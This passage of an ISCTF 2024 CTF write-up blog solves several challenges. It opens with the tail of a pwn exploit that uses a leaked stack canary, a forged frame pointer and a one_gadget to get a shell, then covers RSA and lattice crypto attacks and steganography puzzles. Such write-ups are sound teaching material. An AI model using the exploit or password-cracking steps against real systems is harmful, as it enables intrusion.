rbp = stack - 0x160
#满足onegadget
rbp_2 = stack - 0xc8

p.send(p64(canary) + p64(rbp_2) + p64(one_gadget) + p64(canary) + p8(rbp&0xFF))

p.interactive()

Crypto

我和小蓝鲨的秘密

简单阅读代码后发现是将原图片每个像素点的r,g,b值进行加密,加密过程中n的值较小,直接分解即可,简单的rsa解密过程,之后将原始图片的r,g,b还原即可

from Crypto.Util.number import *
from PIL import Image
import numpy as np
n = 29869349657224745144762606999
p=160216064374859
q=186431677583461
e  =65537
phi = (p-1)*(q-1)
d = inverse(e,phi)
def decry(c):
    m = pow(c,d,n)
    return m
data = np.load(r"encrypted_image.npy",allow_pickle=True)
h = 2065
w = 712
image = Image.new("RGB", (w,h))
for i in range(w):
    for j in range(h):
        r = decry(data[i, j, 0])
        g = decry(data[i, j, 1])
        b = decry(data[i, j, 2])
        image.putpixel((i, j), (r, g, b))
image.save("custom_rgb_image.png")

ChaCha20-Poly1305

这道题比较简单,只需要知道crypto库的使用以及能看出key?.txt文件中是base92加密的结果即可

from Crypto.Cipher import ChaCha20_Poly1305

key = bytes.fromhex("173974535637a5ef30a116b03d00bd2fe751951ca3eaa62daec2b8f5ca5b6135")
Encrypted_Flag = bytes.fromhex("20408b9fc498063ad53a4abb53633a6a15df0ddaf173012d620fa33001794dbb8c038920273464e13170e26d08923aeb")
Tag=bytes.fromhex("70ffcc508bf4519e7616f602123c307b")
Nonce=bytes.fromhex("d8ebeedec812a6d71240cc50")

cipher = ChaCha20_Poly1305.new(key=key, nonce=Nonce)
flag = cipher.decrypt_and_verify(Encrypted_Flag, Tag)
print(flag)

蓝鲨的费马

参考风二西大佬的视频https://www.bilibili.com/video/BV1po4y1E7az/?spm_id_from=333.999.0.0

首先进行推导

$$ leak = (d+(pow(p,q,n)+pow(q,p,n))) $$

由于p,q均小于n,将

$$ q^p \equiv 1 \mod q \\ p^q \equiv 1 \mod p $$

得到

$$ leak = (d + p +q) \mod n $$

因为

$ c^d \equiv m (\mod n)\
d = leak - (p+q)
$

所以推得

$ c^{l-(p+q)} \equiv m (\mod n) $

$ phi = (p-1)*(q-1)
$

推得

$ phi = n+1-(p+q) $

根据欧拉定理:

$ a^{\phi(m)} \equiv 1 (\mod) $

所以

$$ c^{phi} \equiv 1(\mod n)\\ c^{n+1-(p+q)} \equiv 1 (\mod n)\\ c^{n+1}*c^{-(p+q)} \equiv 1(\mod n)\\ c^{(n+1)}*c^{-(p+q)}*c^{p+q} \equiv c^{(p+q)}(\mod n) $$

所以

$$ c^{n+1} \equiv c^{p+q} \mod n\\ c^{leak}*c^{-(n+1)}\equiv m \mod n\\ c^{leak}*c^{-(p+q)} \equiv m \mod n\\ c^{leak-(p+q)} \equiv m \mod n $$

搓脚本

c= 8989289659072309605793417141528767265266446236550650613514493589798432446586991233583435051268377555448062724563967695425657559568596372723980081067589103919296476501677424322525079257328042851349095575718347302884996529329066703597604694781627113384086536158793653551546025090807063130353950841148535682974762381044510423210397947080397718080033363000599995100765708244828566873128882878164321817156170983773105693537799111546309755235573342169431295776881832991533489235535981382958295960435126843833532716436804949502318851112378495533302256759494573250596802016112398817816155228378089079806308296705261876583997
n= 13424018200035368603483071894166480724482952594135293395398366121467209427078817227870501294732149372214083432516059795712917132804111155585926502759533393295089100965059106772393520277313184519450478832376508528256865861027444446718552169503579478134286009893965458507369983396982525906466073384013443851551139147777507283791250268462136554061959016630318688169168797939873600493494258467352326974238472394214986505312411729432927489878418792288365594455065912126527908319239444514857325441614280498882524432151918146061570116187524918358453036228204087993064505391742062288050068745930452767100091519798860487150247
leak= 9192002086528025412361053058922669469031188193149143635074798633855112230489479254740324032262690315813650428270911079121913869290893574897752990491429582640499542165616254566396564016734157323265631446079744216458719690853526969359930225042993006404843355356540487296896949431969541367144841985153231095140361069256753593550199420993461786814074270171257117410848796614931926182811404655619662690700351986753661502438299236428991412206196135090756862851230228396476709412020941670878645924203989895008014836619321109848938770269989596541278600166088022166386213646074764712810133558692545401032391239330088256431881
from Crypto.Util.number import *

m = pow(c,leak-n-1,n)
print(long_to_bytes(m))

小蓝鲨的数学题

参考 2020网鼎杯 you raise me up

根据题目条件和提示,我们已知

$ c = pow(m,flag,p) $

利用sagemath解题

m = 5321153468370294351697008906248782883193902636120413346203705810525086437271585682015110123362488732193020749380395419994982400888011862076022065339666193
c = 7383779796712259466884236308066760158536557371789388054326630574611014773044467468610300619865230550443643660647968413988480055366698747395046400909922513
p = 2**512
d=discrete_log(c,mod(m,p))
import libnum
print(libnum.n2s(int(d)))

小蓝鲨的密码

下载附件后发现一个压缩包与类似rabbit/AES密文和图片,经过尝试压缩包密码为图片的名字,打开压缩包后是密码本,观察其中的密码后,根据往年经验,密码应该为blueshark或者isctf2024,前者上一步已经用过,所以尝试密码为isctf2024,发现AES成功解密。

小蓝鲨的方程

题目中生成的p1为

$ p_1 = p^4 +a $

a只有777为,对其开4次方后只有5,位数较小,所以可以在对p1开4次方之后递减得到p,之后根据欧拉函数得到phi,算出s的值,之后通过二项式定理以及数论推导,搓脚本

c1= 671390498592586008552998377599101093977542184109077889081448730480869018650843045119891777468161631085086340705902115332025675787789530562679603254577287153918966364523848382506106179394235772395029788721306186952016420794804145631124905952103136061076643266886961178241381892015555099638200222249447194504082451341122502519637821695210573997670753981061458264118355417889153180841281073262935937836447460470926729282834006229571453935760593644658459098721652426154970766417292435960463905367868753821950303919781798234432998272038029063155193184039985018137026245365188171178677898869374676546799536208952198558258306460302868688355653022725288744014143221560882404431652751343944983442109327
c = 8641190030376811670503537177719719233418166235794962118828671236836174132083208517733734760455990850156371205118391537919769888760384574011411232571257192285256730733174399297826587479261381970232162702657952399683882650083181048279650913795429823628186888540572704055008102853692060360140858142686334722286525699998854566609078547487420929457446776757558492454916447188774943818970599916514467335772992690805247630814156710861067503956707301402347944233660194395192354000788262111000900574820275786269075882923600474781645848712157460135387134196156906258218217831988828360827613420801773911833194097791649069743116686685667300622630909231822986237104627385544169938138006242341269672868611269202418482629393372933567053272565557137741441902377611003983050084491513897727856173625922194300103448148829004025229567101761111396110940066254801762424343522707712480796358754008120503317686600144600226149617189681233392693738216138797012278242152852923361635415564580582002132107424154426980566696622448291815571736676562214017436
n = 1076246859437269645898003764327104347852443049519429833372038915264009774423737482018987571807662568251485615769880354898666799006772572239466617428164721157850526408878346223839884319846641438292436373441749602341461361190584638190903978829024853974880636148520803145113551453821058269641304504880310836801494499720662704717315748614372503735165114899680682056477494953525794354656896362929510309669119173103242509398650608116835276076364248473952717811633756784397347121601006659623317417388283638159905288128181587304367489096254611610975352096229116491567502061775862811850081040850421151385474249060884479729988512713640536139010928836126719149031115182144744359297169350288886555784650111
p1 = 145356063641618996012874664536921616978986640263438210169671010403677822239343590475177543891188656103067696467174379510912427160232486984044862545338401652910975162942038201716552753723984593267892098222213049269335313670049037479410635628460505327693176152061750827570561482918795206276991967169087371403553
e=65537
from Crypto.Util.number import *
from gmpy2 import *
p_ = iroot(p1,4)[0]
while True:
    q_ = n // p_
    if p_ * q_ == n:
        p = int(p_)
        q = int((iroot(q_,4))[0])
        break
    p_ -= 1
phi = (p-1)*(q**4-q**3)
d = inverse(e,phi)
s = pow(c1,d,n)
print(s)
m1 = (c-1)//(s**3)
print(long_to_bytes(m1))

蓝鲨的RSA

查看hint后发现,是维纳定理

根据连分数定理

$ \left| a- \frac{c}{d} \right|< \frac{1}{2*d^2} $

可得c/d是a的一个连分数近似

推导:

$ leak=\frac{8*H*P-1}{16*P*P}=\frac{8*H*P}{16*P*P}- \frac{1}{16*P*P}=\frac{H}{2*P}-\frac{1}{16*P*P} $

给leak*2得到

$ leak2 = \frac{H}{P}-\frac{1}{8P*P}\
\left|leak2-\frac{H}{P} \right|= \frac{1}{8PP}<\frac{1}{2P*P} $

计算leak*2的连分数即可得到h,p

下一步是基本的格密码

已知

$ h = f^{-1}*g (\mod p)\
h*f \equiv g (\mod p)\
g = hf-kp $

于是构造格

$ \begin{pmatrix}
f&-k
\end{pmatrix}*
\begin{pmatrix}
1&h\
0&p
\end{pmatrix}
=
\begin{pmatrix}
f&g
\end{pmatrix} $

exp:

c = 587245179027322480379581200283415189810421958968516831191660631552695197401940961725169763339428980298128692606951200581483431566182271569207988054537414289564013883171160614196522169980339024564884190765084419167938640701193928669
hint = 0.2427542737153618793334900104191212626446625872340179613972610728976081994921862517310186626304527115125924716035632505287111236596234811779375148657365336957626454491865164520834975233144235103885081268955448330597818844340656652982593545877449810282619387305007246499089258519062093814083383071737897364213169497762760797899310673216754376885295598952272100016962368762532805864796748393317534908268379601445004775495237901072144236328105526403608646831124542336002540011176406194984370372589752234640498423911217119220030242197564695880261480071310815379681250975672935544404797155655708441222387631967447088319826137200280810029390387418159394276760100487636516708987579464183208860911063948902432948269805493252899815187044807603000344378890835564906163242023600624338694473573763088471321731611077227112205396909637906507673367598721218000123789690455125909411309668615810240938664264212370815385282488986625554704015828254539339719586211726300858711328516487805251366293457402531199532556110786048074755505680210260049
n = 839799159583571337450826982895478997157381520448790705455708438948150905361244823725400304016136863419723271227616684280477524669207590477657886623628732394537008838314015048569652202355464477680540884654473950183135276735347866051
e = 65537
hint = hint *2
from Crypto.Util.number import *
cf = continued_fraction(hint)
for i in range(1000):
    k = cf.numerator(i)
    x = cf.denominator(i)
    if isPrime(x) and x.bit_length()==512:
        print(k,x)
        h,p = k,x
Ge = Matrix(ZZ,[[1,h],[0,p]])
print(Ge.LLL())
f,g = Ge.LLL()[0]
f,g = abs(f),abs(g)
print(f,g)
q = n //f
phi = (f-1)*(q-1)
d = inverse(e,phi)
print(long_to_bytes(pow(c,d,n)))

ezmath

根据题目给出的代码,是需要计算gamma函数当x取值为5/2时,使用在线计算器计算出的结果不是需要的key,但是应该差别不大,所以我们进行一个爆破

key = 3293403881791372
ke1 = 3293403881738537
ke2 = 3293403881791370
s = b"n2SQK64JMsXstCtZurBiz81pMr3ZmgMjhuyL67hssm3shqJGYGfS/mWubINeE5HZ"
import random
from hashlib import md5
import base64
from Crypto.Cipher import AES
import tqdm

def pad(data):
    data = data.encode('utf8')
    while len(data) % 16 != 0:
        data += b'\x00'
    return data

def decode(key, enc_data):
    mode = AES.MODE_ECB
    aes = AES.new(pad(key), mode)
    enc_data = base64.decodebytes(enc_data)
    decrypted_data = aes.decrypt(enc_data)
    return decrypted_data



for key in tqdm.trange(329340360000000,329340399999999):
    key1 = key
    random.seed(key1)
    new_key = md5(str(random.getrandbits(256)).encode('utf-8')).hexdigest()
    en_m = decode(new_key, s)
    if b'ISCTF' in en_m:
        print(en_m)
        print(new_key)
        break

最后根据提示发现应该是修改好代码后计算出来的key取前15位

Misc

小蓝鲨的签到01

关注公众号发送ISCTF2024即可

小蓝鲨的签到02

flag在图片尾

游园会1

谷歌搜图,发现为武汉中山公园

然后去百度地图找到地址改成flag的格式

小蓝鲨的问卷

填写问卷即可拿到flag

数字迷雾:在像素中寻找线索

解压附件获得一个图片
扔进随波逐流一把梭
将结尾的 | 改为 } 即可

flag : ISCTF{+9qn1DKdun!glAK}

少女的秘密花园

解压附件得到图片,用 010 打开拉到底,一眼 zip。
选中压缩包数据 右键 > 选择 > 保存选择 提取出来

解压得到 base_misc 再次 010 的打开,又是一眼zip

将后缀补上解压 需要密码
用 ARCHPR 进行一个简单的爆破

解压得到 flag.txt

一眼base64 cyberchef魔法棒直接转为图片保存
然后丢尽随波逐流修复宽高得到

挨个翻造随波逐流224编码表 发现可能是盲文字符

对照解码即可 蓝色是字母 红色是数字
得到 : JFJUGVCGPNBTA3LFL4YG4X3GOIZTK2DNGNXH2===
解 Base32 得到flag
flag : ISCTF{C0me_0n_fr35hm3n}

赢!rar

考点应该是NTFS数据流 不过7Z秒了

7z 打开发现有个123.txt:flag.txt

在注释里找到压缩包密码

密码 : admin123456
直接打开 123.txt:flag.txt 得到

KGJB1J2NvEaJVR3xHNZFdMKsV6G2VTE++
加号结尾 有大写有小写 哪么大抵是 XXencoded
随波逐流解码得到flag

flag : ISCTF{Beat_SfTian!!!!}

老八奇怪自拍照

解压得到一张 png 图片,用 StegSolve 检查各个通道
不难发现在 红色-5 绿色-2 蓝色-1 通道内有明显的 LSB 隐写的特征



一眼 zip 将其保存出来解压

在属性里可以发现作者一栏有信息

1ScTf2024!
用这个作为密码解 StegHide 即可得到 flag.txt

flag : ISCTF{St4gs0lve_Rbg_S4eGh1de_H1de!!!}

File_Format

解压附件得到 flag 文件,将其丢尽 DIE 可以发现这是个 WinAce 文件

搜索后发现可以用 ARCHPR 爆破,那么直接爆破密码

密码 : 241023
将 flag 后缀改为 exe 后用密码解压 即可得到 flag.txt
打开即可以得到 flag

flag : ISCTF{WinACE_is_Easy_Subject_0v0}

watermark

  • 解压附件压缩包
    三个文件 压缩包[🔒] png txt
    txt 提示水印 遂对图片提取盲水印


    key2:64oRvUfta9yJsBv
    txt 大抵也是个文字盲水印
    那么进行一个bing的搜索 找到一个项目:

      - GitHub: [guofei9987/text_blind_watermark: 文本盲水印:把信息隐匿到文本中,put invisible blind watermark into a text.](https://github.com/guofei9987/text_blind_watermark?tab=readme-ov-file)
      - 在线Demo: [文本隐水印](https://www.guofei.site/pictures_for_blog/app/text_watermark/v1.html)

    将文本复制过去直接解密 得到key1

    key1:FAAqDPjpgKJiB6m
    拼起来就是解压密码
    FAAqDPjpgKJiB6m64oRvUfta9yJsBv

  • 解压后得到 flag.txt 打开后一堆文字狗屁不通 那么先尝试进行一个爆搜 成功得到flag

Flag : ISCTF{Watermark_is_used_2_protect%digital*assets}

秘密

先对附件进行一个伪加密的修复
然后解压后获得一张图片
通过附件名或者图片尾后的数据不难推断出是使用了 OurSecret 隐藏了文件
那么直接用 OurSecret 打开,盲猜密码为 isctf,isctf2024,ISCTF,ISCTF2024
成功猜对密码为 ISCTF2024

保存文件 打开

全选发现没有隐藏空格 排除 Snow 隐写
但是文件大小有 627 字节
那么猜测是零宽 默认配置得到flag

Flag : ISCTF{Nic3_t0_m33t_you}

奇怪的txt

根据题目描述的提示 直接写一个脚本将其拼起来

import os

import re

  

def get_sorted_txt_files(folder_path):

    """

    获取文件夹中所有的txt文件,并按其中的数字排序。

    假设文件名中包含数字,并按数字从小到大排序。

    """

    txt_files = [f for f in os.listdir(folder_path) if f.endswith('.txt')]

    # 提取文件名中的数字,用于排序

    def extract_number(filename):

        match = re.search(r'(\d+)', filename)

        return int(match.group(1)) if match else float('inf')

    sorted_files = sorted(txt_files, key=extract_number)

    return sorted_files

  

def select_every_seventh(sorted_files, step=7):

    """

    按照每隔7个选择一个文件的规则,循环选择直到所有文件被选中。

    返回选择的文件顺序列表。

    """

    selected_order = []

    files = sorted_files.copy()

    index = 0

  

    while files:

        index = (index + step - 1) % len(files)

        selected_file = files.pop(index)

        selected_order.append(selected_file)

    return selected_order

  

def write_selected_files_content(selected_files, folder_path, output_file):

    """

    将选择的文件内容写入输出文件中,每个文件的内容之间用换行符分隔。

    """

    with open(os.path.join(folder_path, output_file), 'w', encoding='utf-8') as outfile:

        for filename in selected_files:

            file_path = os.path.join(folder_path, filename)

            with open(file_path, 'r', encoding='utf-8') as infile:

                content = infile.read()

                outfile.write(content + '\n')  # 添加换行符以区分文件内容

  

def main():

    # 设置文件夹路径和输出文件名

    folder_path = r"C:\Users\daydr\Downloads\奇怪的txt"  # 替换为实际的文件夹路径

    output_file = r"C:\Users\daydr\Downloads\奇怪的txt\de\de.txt"  # 输出文件名

  

    # 获取并排序txt文件

    sorted_files = get_sorted_txt_files(folder_path)

    if not sorted_files:

        print("指定的文件夹中没有找到txt文件。")

        return

  

    print("排序后的txt文件列表:")

    for f in sorted_files:

        print(f)

  

    # 选择文件的顺序

    selected_files = select_every_seventh(sorted_files, step=7)

    print("\n选择文件的顺序:")

    for i, f in enumerate(selected_files, 1):

        print(f"{i}: {f}")

  

    # 写入选中文件的内容到输出文件

    write_selected_files_content(selected_files, folder_path, output_file)

    print(f"\n所有选中文件的内容已写入 {output_file}")

  

if __name__ == "__main__":

    main()

然后解几十层 base64 得到flag

flag : ISCTF{@!98sw-&^si92-2$#334-2024!!}

像素圣战

解压后得到一张 png
找了个在线隐写网站,盲猜密码是 ISCTF 得到隐藏信息

10111110011011000011000110111111101100111101001110010110011101110001100100011111110101101101010011110011101001111010011011011111001100100101110111101100010010101110000111001011001001

使用一个B神的神奇小工具解密得到flag

flag : ISCTF{R3verse6_b1n4ry_l0l}

starry sky

解压 得到 3 个文件

txt 里藏了个疑似 Base64 编码的字符串,但无法直接解密出有意义的明文,推测要么是换表要么是DES或AES的密文编码

png 打开失败,用 010 打开,一眼 Base64 编码,扔进 CyberChef 直接解码
还原图片后扔进 010 拉到最低 发现 XORKEY:FF

在结合另一个叫 xor 的文件 那么大抵就是要对其异或 FF

异或后得到一个 wav 文件
听了两秒一耳 SSTV

得到 DESKey:YanHuoLG

那么就可以解密之前的 txt 了
使用 CyberChef 进行一个解密 先尝试不需要 iv 的 ECB 模式

在无填充下可以解密出部分 flag
有填充下则全是乱码
那么再尝试 iv 全为 0 的其他模式解密
成功得到 flag

flag : ISCTF{Y0u_@r3_1ooking_@_st@rry_sky!}

来自天外的信息

Audacity
左上角 -> 文件 -> 导入 -> 原始数据
选择解压出的超大附件
参数根据文件名的提示 选择 64位 320000Hz

导入后一听
大抵还是 SSTV
MMSSTV 过一遍后得到图片

根据图片能大抵猜出是要修个二维码
Greetings from space 后面的符号长得像定位点
下面卫星旁的点阵 左上 右上 右下 缺的部分正好可以跟二维码的定位点对上
而右下放大看的话正好可以看出小定位点
使用一个 QRazybox 进行手绘修复

虽然图片有些地方不清晰 但是清晰的面积已经足够大了
将清晰的部分修复好 再读纠错码就能拿到flag

flag : ISCTF{Th3_ROmaNtic_Of_Rad1o}

By F14GThi3f On
  1. 头像
    @
    逆蝶
    达佬带带🤤
    · Android · Chrome
  2. 头像
    @
    Tsuk1
    佬太强了🤩
    · Windows · Chrome
  3. 头像
    @
    fly233
    web 小蓝鲨的书店 有题解吗?😁
    · Windows · Chrome